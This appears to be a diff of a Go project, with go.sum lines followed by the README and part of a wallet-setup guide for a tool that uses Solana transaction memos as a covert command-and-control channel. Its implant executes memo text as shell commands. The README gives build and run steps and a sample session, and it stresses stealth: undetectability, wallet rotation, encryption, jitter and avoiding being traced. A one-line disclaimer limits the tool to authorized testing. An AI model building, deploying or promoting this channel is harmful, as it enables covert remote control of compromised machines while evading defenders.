github.com/mitchellh/pointerstructure v1.2.0/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4=
|
||||||
|
github.com/mmcloughlin/addchain v0.4.0 h1:SobOdjm2xLj1KkXN5/n0xTIWyZA2+s99UCY1iPfkHRY=
|
||||||
|
github.com/mmcloughlin/addchain v0.4.0/go.mod h1:A86O+tHqZLMNO4w6ZZ4FlVQEadcoqkyU72HC5wJ4RlU=
|
||||||
|
github.com/mmcloughlin/profile v0.1.1/go.mod h1:IhHD7q1ooxgwTgjxQYkACGA77oFTDdFVejUS1/tS/qU=
|
||||||
|
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
|
||||||
|
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
|
||||||
|
github.com/pion/dtls/v2 v2.2.7 h1:cSUBsETxepsCSFSxC3mc/aDo14qQLMSL+O6IjG28yV8=
|
||||||
|
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
|
||||||
|
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
|
||||||
|
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
|
||||||
|
github.com/pion/stun/v2 v2.0.0 h1:A5+wXKLAypxQri59+tmQKVs7+l6mMM+3d+eER9ifRU0=
|
||||||
|
github.com/pion/stun/v2 v2.0.0/go.mod h1:22qRSh08fSEttYUmJZGlriq9+03jtVmXNODgLccj8GQ=
|
||||||
|
github.com/pion/transport/v2 v2.2.1 h1:7qYnCBlpgSJNYMbLCKuSY9KbQdBFoETvPNETv0y4N7c=
|
||||||
|
github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
|
||||||
|
github.com/pion/transport/v3 v3.0.1 h1:gDTlPJwROfSfz6QfSi0ZmeCSkFcnWWiiR9ES0ouANiM=
|
||||||
|
github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
|
||||||
|
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||||
|
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/prometheus/client_golang v1.12.0 h1:C+UIj/QWtmqY13Arb8kwMt5j34/0Z2iKamrJ+ryC0Gg=
|
||||||
|
github.com/prometheus/client_golang v1.12.0/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY=
|
||||||
|
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a h1:CmF68hwI0XsOQ5UwlBopMi2Ow4Pbg32akc4KIVCOm+Y=
|
||||||
|
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
|
||||||
|
github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4=
|
||||||
|
github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=
|
||||||
|
github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU=
|
||||||
|
github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
|
||||||
|
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||||
|
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||||
|
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
|
||||||
|
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
|
||||||
|
github.com/rs/cors v1.7.0 h1:+88SsELBHx5r+hZ8TCkggzSstaWNbDvThkVK8H6f9ik=
|
||||||
|
github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU=
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
|
||||||
|
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||||
|
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible h1:Bn1aCHHRnjv4Bl16T8rcaFjYSrGrIZvpiGO6P3Q4GpU=
|
||||||
|
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
|
||||||
|
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||||
|
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||||
|
github.com/supranational/blst v0.3.13 h1:AYeSxdOMacwu7FBmpfloBz5pbFXDmJL33RuwnKtmTjk=
|
||||||
|
github.com/supranational/blst v0.3.13/go.mod h1:jZJtfjgudtNl4en1tzwPIV3KjUnQUvG3/j+w+fVonLw=
|
||||||
|
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7 h1:epCh84lMvA70Z7CTTCmYQn2CKbY8j86K7/FAIr141uY=
|
||||||
|
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU=
|
||||||
|
github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI=
|
||||||
|
github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk=
|
||||||
|
github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY=
|
||||||
|
github.com/urfave/cli/v2 v2.25.7 h1:VAzn5oq403l5pHjc4OhD54+XGO9cdKVL/7lDjF+iKUs=
|
||||||
|
github.com/urfave/cli/v2 v2.25.7/go.mod h1:8qnjx1vcq5s2/wpsqoZFndg2CE5tNFyrTvS6SinrnYQ=
|
||||||
|
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU=
|
||||||
|
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8=
|
||||||
|
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
|
||||||
|
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
|
||||||
|
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa h1:FRnLl4eNAQl8hwxVVC17teOw8kdjVDVAiFMtgUdTSRQ=
|
||||||
|
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa/go.mod h1:zk2irFbV9DP96SEBUUAy67IdHUaZuSnrz1n472HUCLE=
|
||||||
|
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
|
||||||
|
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||||
|
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
|
||||||
|
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
|
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
||||||
|
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||||
|
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||||
|
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||||
|
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
|
||||||
|
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
|
||||||
|
gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
|
||||||
|
gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
rsc.io/tmplfunc v0.0.3 h1:53XFQh69AfOa8Tw0Jm7t+GV7KZhOi6jzsCzTtKbMvzU=
|
||||||
|
rsc.io/tmplfunc v0.0.3/go.mod h1:AG3sTPzElb1Io3Yg4voV9AGZJuleGAwaVRxL9M49PhA=
|
||||||
@@ -0,0 +1,293 @@
|
|||||||
|
# 🕶️ C2 Blockchain Memo
|
||||||
|
|
||||||
|
**Command & Control via Solana Transaction Memo Fields**
|
||||||
|
|
||||||
|
No C2 server. No proxy. No domain. Just the blockchain.
|
||||||
|
|
||||||
|
Commands are embedded in Solana transaction memos using the [Memo Program](https://spl.solana.com/memo).
|
||||||
|
Every transaction is public on-chain — **undetectable as C2 traffic**. Blocking it would
|
||||||
|
require blocking all Solana RPC traffic, which would break the entire Solana ecosystem.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐ Solana Transaction ┌──────────┐
|
||||||
|
│ Operator ├──── (transfer + memo) ────→│ Implant │
|
||||||
|
│ (server) │ 1 lamport + command │ (client) │
|
||||||
|
└──────────┘ └────┬─────┘
|
||||||
|
│
|
||||||
|
Executes command
|
||||||
|
via os.exec()
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
### The Chain as C2 Channel
|
||||||
|
|
||||||
|
1. **Operator** sends a standard Solana transaction containing:
|
||||||
|
- A **1-lamport SOL transfer** to the implant's wallet (creates an on-chain link)
|
||||||
|
- A **Memo Program instruction** with the shell command as memo text
|
||||||
|
|
||||||
|
2. **Implant** polls the Solana RPC endpoint for `getSignaturesForAddress` on its own
|
||||||
|
wallet address, extracts the memo text from each incoming transaction, and executes
|
||||||
|
it as a shell command.
|
||||||
|
|
||||||
|
3. **No infrastructure.** The "server" is just building transactions. The "network" is
|
||||||
|
the Solana blockchain. There's no IP address, no domain, no certificate, no proxy to
|
||||||
|
block.
|
||||||
|
|
||||||
|
### Cost
|
||||||
|
|
||||||
|
- **Devnet/Testnet:** Free (faucet SOL, no real money)
|
||||||
|
- **Mainnet:** ~0.000005 SOL per command (~$0.001 at current prices)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clone or cd into the project
|
||||||
|
cd c2-suite/c2-blockchain-memo
|
||||||
|
|
||||||
|
# Build both binaries
|
||||||
|
go build -o bin/server ./cmd/server
|
||||||
|
go build -o bin/client ./cmd/client
|
||||||
|
|
||||||
|
# Binaries are in ./bin/
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
- Go 1.24+
|
||||||
|
- `github.com/gagliardetto/solana-go` (Solana Go SDK)
|
||||||
|
|
||||||
|
Everything is handled by `go mod tidy`. No manual dependency management needed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Start (Devnet, Free)
|
||||||
|
|
||||||
|
### 1. Set up wallets
|
||||||
|
|
||||||
|
See **[SETUP_WALLET.md](./SETUP_WALLET.md)** for detailed instructions. The TL;DR:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install Solana CLI
|
||||||
|
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
|
||||||
|
|
||||||
|
# Generate operator wallet
|
||||||
|
solana-keygen new --outfile operator.json
|
||||||
|
|
||||||
|
# Generate implant wallet
|
||||||
|
solana-keygen new --outfile implant.json
|
||||||
|
|
||||||
|
# Get free devnet SOL
|
||||||
|
solana config set --url devnet
|
||||||
|
solana airdrop 2
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Start the implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/client --keypair implant.json --rpc devnet --interval 15
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll see:
|
||||||
|
```
|
||||||
|
🔭 Watching address: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
|
||||||
|
🔗 RPC endpoint: https://api.devnet.solana.com
|
||||||
|
⏱ Poll interval: 15s (with ±50% jitter)
|
||||||
|
|
||||||
|
━━━ C2 Blockchain Memo — Implant ─━━
|
||||||
|
Listening for commands... Press Ctrl+C to stop.
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Send a command (in another terminal)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/server --keypair operator.json --rpc devnet
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in the interactive shell:
|
||||||
|
```
|
||||||
|
› send <IMPLANT_ADDRESS> whoami
|
||||||
|
Command sent!
|
||||||
|
Signature: 5KtPn...xyz
|
||||||
|
Explorer: https://solscan.io/tx/5KtPn...xyz?cluster=devnet
|
||||||
|
Command: "whoami"
|
||||||
|
Implant: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
|
||||||
|
```
|
||||||
|
|
||||||
|
The implant will receive the command within the next poll cycle:
|
||||||
|
```
|
||||||
|
New command from tx 5KtPn...xyz:
|
||||||
|
Command: whoami
|
||||||
|
Output:
|
||||||
|
root
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage Reference
|
||||||
|
|
||||||
|
### Server (Operator)
|
||||||
|
|
||||||
|
```
|
||||||
|
./bin/server [flags]
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
--keypair string Path to operator keypair (Solana CLI JSON array or base58)
|
||||||
|
--rpc string RPC endpoint: mainnet-beta, devnet, testnet, or custom URL
|
||||||
|
(default: "devnet")
|
||||||
|
```
|
||||||
|
|
||||||
|
**Interactive commands:**
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `send <ADDRESS> <cmd>` | Send a shell command to an implant |
|
||||||
|
| `balance` | Check operator wallet SOL balance |
|
||||||
|
| `quit` | Exit |
|
||||||
|
|
||||||
|
### Client (Implant)
|
||||||
|
|
||||||
|
```
|
||||||
|
./bin/client [flags]
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
--address string Wallet address to watch (alternative to --keypair)
|
||||||
|
--keypair string Path to implant keypair (uses its public key as watch address)
|
||||||
|
--rpc string RPC endpoint (default: "devnet")
|
||||||
|
--interval int Polling interval in seconds (default: 15)
|
||||||
|
--limit int Max transactions to fetch per poll (default: 10)
|
||||||
|
```
|
||||||
|
|
||||||
|
**You must provide either `--address` or `--keypair`.**
|
||||||
|
|
||||||
|
The implant:
|
||||||
|
1. Polls the RPC endpoint for incoming transactions to its address
|
||||||
|
2. Extracts memo text from each transaction (using the `memo` field in
|
||||||
|
`getSignaturesForAddress` — built into Solana runtime)
|
||||||
|
3. Executes the memo text as a shell command
|
||||||
|
4. Tracks seen signatures to avoid re-execution
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture Details
|
||||||
|
|
||||||
|
### How the Memo Field Works
|
||||||
|
|
||||||
|
Solana's Memo Program (`MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr`) allows any
|
||||||
|
transaction to include an arbitrary text message. The memo is:
|
||||||
|
|
||||||
|
- **Public** — anyone can read it on-chain
|
||||||
|
- **Permanent** — lives in the ledger forever
|
||||||
|
- **Cheap** — costs the same as any other instruction
|
||||||
|
- **Unblockable** — can't distinguish from legitimate Memo Program usage
|
||||||
|
|
||||||
|
### Transaction Structure
|
||||||
|
|
||||||
|
Each command transaction contains two instructions:
|
||||||
|
|
||||||
|
1. **System Program: Transfer** — sends 1 lamport from operator → implant
|
||||||
|
- Creates a detectable on-chain link to the implant's address
|
||||||
|
- The implant's `getSignaturesForAddress` picks this up
|
||||||
|
- 1 lamport is the smallest unit (0.000000001 SOL)
|
||||||
|
|
||||||
|
2. **Memo Program: Memo** — contains the command text
|
||||||
|
- The Solana runtime automatically includes the memo text in
|
||||||
|
`getSignaturesForAddress` response (`memo` field)
|
||||||
|
- No need to fetch the full transaction to read the command
|
||||||
|
|
||||||
|
### Why This is Undetectable as C2
|
||||||
|
|
||||||
|
- **No C2 infrastructure** — no domains, IPs, certificates, or hosting to discover
|
||||||
|
- **Blends with normal traffic** — millions of Solana transactions include memos daily
|
||||||
|
(DeFi notes, NFT metadata, DEX tags)
|
||||||
|
- **No pattern to detect** — polling an RPC endpoint looks like any other dApp or wallet
|
||||||
|
- **Cannot block without collateral damage** — blocking `api.mainnet-beta.solana.com`
|
||||||
|
would break the entire Solana ecosystem
|
||||||
|
|
||||||
|
### OpSec Notes
|
||||||
|
|
||||||
|
- **Memo is public plaintext.** Anyone can read commands on-chain via Solscan or any
|
||||||
|
block explorer. For sensitive commands, encrypt the memo payload (e.g., XOR with a
|
||||||
|
pre-shared key, or use a proper AEAD cipher). The implant would decrypt before executing.
|
||||||
|
|
||||||
|
- **Wallet fingerprinting.** An operator who always uses the same wallet creates a
|
||||||
|
detectable signature pattern. For operational security, use ephemeral operator wallets
|
||||||
|
funded from a central wallet.
|
||||||
|
|
||||||
|
- **Polling frequency.** Default 15s with jitter balances responsiveness and stealth.
|
||||||
|
Sub-second polling to a single RPC is detectable. Use multiple RPC endpoints for
|
||||||
|
higher-frequency polling.
|
||||||
|
|
||||||
|
- **Transaction volume.** If you send 10,000 commands from one wallet, that's a pattern.
|
||||||
|
Rotate operator wallets.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Comparison: Solana vs Ethereum for Blockchain C2
|
||||||
|
|
||||||
|
| Feature | Solana (this project) | Ethereum |
|
||||||
|
|---------|----------------------|----------|
|
||||||
|
| Tx cost | ~$0.001 | ~$1–$50 (gas) |
|
||||||
|
| Speed | ~400ms finality | ~12s block time |
|
||||||
|
| Memo built-in | Yes (Memo Program) | No (requires contract) |
|
||||||
|
| RPC rate limits | More permissive | Tighter |
|
||||||
|
| Faucet availability | Easy (devnet) | Easy (testnet) |
|
||||||
|
| Go SDK quality | Mature (solana-go) | Mature (go-ethereum) |
|
||||||
|
| Stealth | High (natural memo usage) | High (calldata) |
|
||||||
|
|
||||||
|
**Solana wins on cost and speed.** Ethereum contract storage costs are prohibitive
|
||||||
|
for a C2 channel. Solana transactions cost fractions of a cent.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Encryption Example (AES-GCM)
|
||||||
|
|
||||||
|
For production use, encrypt commands before sending:
|
||||||
|
|
||||||
|
**Server-side (before sending):**
|
||||||
|
```go
|
||||||
|
// Pseudocode — use a proper key management scheme
|
||||||
|
plaintext := []byte(command)
|
||||||
|
ciphertext, _ := aesgcm.Seal(nil, nonce, plaintext, nil)
|
||||||
|
// Send base64(ciphertext + nonce) as the memo
|
||||||
|
```
|
||||||
|
|
||||||
|
**Client-side (after receiving):**
|
||||||
|
```go
|
||||||
|
ciphertext := base64.StdEncoding.DecodeString(memo)
|
||||||
|
plaintext, _ := aesgcm.Open(nil, ciphertext[:12], ciphertext[12:], nil)
|
||||||
|
executeCommand(string(plaintext))
|
||||||
|
```
|
||||||
|
|
||||||
|
The Solana chain is public. **Encrypt everything in production.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## FAQ
|
||||||
|
|
||||||
|
**Q: Do I need crypto knowledge?**
|
||||||
|
A: No. Follow [SETUP_WALLET.md](./SETUP_WALLET.md). Devnet is free.
|
||||||
|
|
||||||
|
**Q: Can this be traced back to me?**
|
||||||
|
A: Your operator wallet on-chain activity is public. Use ephemeral wallets.
|
||||||
|
|
||||||
|
**Q: What if the RPC endpoint goes down?**
|
||||||
|
A: Use multiple RPC endpoints (QuickNode, Helius, public RPC pool). The implant
|
||||||
|
supports custom `--rpc` URLs.
|
||||||
|
|
||||||
|
**Q: Can I run this on mainnet with real SOL?**
|
||||||
|
A: Yes. Cost is ~$0.001 per command. But don't use it for illegal purposes.
|
||||||
|
|
||||||
|
**Q: How fast can commands be delivered?**
|
||||||
|
A: Solana confirms in ~400ms. Polling adds latency: default 15s with jitter. For faster
|
||||||
|
delivery, use --interval 2 (2s) with multiple RPC endpoints.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
@@ -0,0 +1,264 @@
|
|||||||
|
# SETUP_WALLET.md — Solana Wallet Setup for C2 Blockchain Memo
|
||||||
|
|
||||||
|
This guide walks you through EVERYTHING needed to get Solana wallets set up for the C2
|
||||||
|
blockchain memo system. **Zero crypto knowledge assumed.** No real money needed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [1. Install Solana CLI Tools](#1-install-solana-cli-tools)
|
||||||
|
- [2. Generate a Wallet (Keypair)](#2-generate-a-wallet-keypair)
|
||||||
|
- [3. Get Free Devnet SOL (Faucet)](#3-get-free-devnet-sol-faucet)
|
||||||
|
- [4. Check Your Balance](#4-check-your-balance)
|
||||||
|
- [5. Find Your Wallet Address](#5-find-your-wallet-address)
|
||||||
|
- [6. Generate a Wallet Without Solana CLI (Pure OpenSSL)](#6-generate-a-wallet-without-solana-cli-pure-openssl)
|
||||||
|
- [7. Wallet File Format Explained](#7-wallet-file-format-explained)
|
||||||
|
- [8. Security Notes](#8-security-notes)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Install Solana CLI Tools
|
||||||
|
|
||||||
|
The Solana CLI is needed for keypair generation and faucet access. It's one command:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
|
||||||
|
```
|
||||||
|
|
||||||
|
This installs the `solana` command (maintained by Anza, the core Solana dev team).
|
||||||
|
|
||||||
|
**Verify installation:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
solana --version
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output: `solana-cli 2.x.x`
|
||||||
|
|
||||||
|
> **What about the old Solana Labs CLI?** The old `solana-cli` from Solana Labs is being
|
||||||
|
> replaced by the Anza distribution. Both work. The command above gets you the current
|
||||||
|
> standard one.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Generate a Wallet (Keypair)
|
||||||
|
|
||||||
|
A Solana wallet is just a **random 64-byte private key** + a **32-byte public key** derived
|
||||||
|
from it. The keypair file is what the server and client use to sign.
|
||||||
|
|
||||||
|
**Generate a keypair:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
solana-keygen new --outfile ~/.config/solota/operator.json
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll be prompted for a passphrase. **You can just press Enter for no passphrase** (fine
|
||||||
|
for testing).
|
||||||
|
|
||||||
|
This creates a JSON file containing the raw bytes of your keypair as a JSON integer array:
|
||||||
|
|
||||||
|
```json
|
||||||
|
[12, 34, 56, 78, 91, ... 64 numbers total ...]
|
||||||
|
```
|
||||||
|
|
||||||
|
**Generate a second keypair for the implant (different wallet):**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
solana-keygen new --outfile ~/.config/solota/implant.json
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Protip:** Store both keypairs somewhere safe. The private key is the WHOLE file.
|
||||||
|
> Anyone with this file controls the wallet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Get Free Devnet SOL (Faucet)
|
||||||
|
|
||||||
|
You need a tiny amount of SOL to pay transaction fees. On **devnet** (test network), it's
|
||||||
|
completely free.
|
||||||
|
|
||||||
|
### Method A: Solana CLI Airdrop (easiest)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Switch to devnet
|
||||||
|
solana config set --url devnet
|
||||||
|
|
||||||
|
# Get 2 free SOL
|
||||||
|
solana airdrop 2
|
||||||
|
```
|
||||||
|
|
||||||
|
**If that fails** with "transaction unavailable" or similar (faucets rate-limit), try:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Smaller amounts often work
|
||||||
|
solana airdrop 1
|
||||||
|
solana airdrop 1
|
||||||
|
solana airdrop 0.5
|
||||||
|
```
|
||||||
|
|
||||||
|
### Method B: Web Faucets
|
||||||
|
|
||||||
|
If the CLI faucet doesn't work, use a web faucet:
|
||||||
|
|
||||||
|
1. **Solana Devnet Faucet (official):**
|
||||||
|
- Open: <https://faucet.solana.com/>
|
||||||
|
- Select **Devnet**
|
||||||
|
- Paste your wallet address (see [§5](#5-find-your-wallet-address))
|
||||||
|
- Click "Confirm Airdrop"
|
||||||
|
|
||||||
|
2. **QuickNode Faucet (backup):**
|
||||||
|
- <https://faucet.quicknode.com/solana/devnet>
|
||||||
|
|
||||||
|
3. **Sol Faucet (backup):**
|
||||||
|
- <https://solfaucet.com/>
|
||||||
|
|
||||||
|
### How much SOL do you need?
|
||||||
|
|
||||||
|
- Each memo transaction costs ~**0.000005 SOL** (half a cent on mainnet, free on devnet)
|
||||||
|
- With 1 SOL you can send **200,000 commands**
|
||||||
|
- 2 SOL from a single airdrop is basically infinite for testing
|
||||||
|
|
||||||
|
### Devnet vs Mainnet Costs
|
||||||
|
|
||||||
|
| Network | Cost per memo tx | Source of SOL |
|
||||||
|
|---------|------------------|---------------|
|
||||||
|
| devnet | Free (faucet) | Free faucet |
|
||||||
|
| testnet | Free (faucet) | Free faucet |
|
||||||
|
| mainnet | ~0.000005 SOL (~$0.001) | Buy from exchange |
|
||||||
|
|
||||||
|
**For testing, use devnet. You don't need real money.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Check Your Balance
|
||||||
|
|
||||||
|
```bash
|
||||||
|
solana balance --url devnet
|
||||||
|
```
|
||||||
|
|
||||||
|
Should show something like `2 SOL` after the airdrop.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Find Your Wallet Address
|
||||||
|
|
||||||
|
```bash
|
||||||
|
solana-keygen pubkey ~/.config/solota/operator.json
|
||||||
|
```
|
||||||
|
|
||||||
|
